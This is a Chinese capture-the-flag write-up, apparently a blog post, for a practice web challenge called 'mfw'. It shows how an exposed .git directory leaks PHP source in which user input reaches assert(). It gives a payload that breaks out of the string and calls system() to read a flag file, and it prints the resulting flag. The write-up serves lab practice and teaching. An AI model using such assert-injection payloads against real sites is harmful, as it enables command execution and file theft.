攻防世界:mfw

打开题目,发现提示了Git,果断上工具扫描
在这里插入图片描述
用工具扫描发现存在.git
在这里插入图片描述
用GitHack将网站文件下载下来
在这里插入图片描述
里面存在一个flag.php
在这里插入图片描述
再打开源码进行源码的查看,题目存在page参数的接收

<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

因为assert函数具有将读入的代码,作为php代码执行的作用,于是直接对strpos函数进行闭合
构造payload

/?page='.system("cat templates/flag.php").'

在源码中进行flag的chakan
在这里插入图片描述

Flag:

cyberpeace{958fa366e25c3ce77a3e34955240d72c}
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值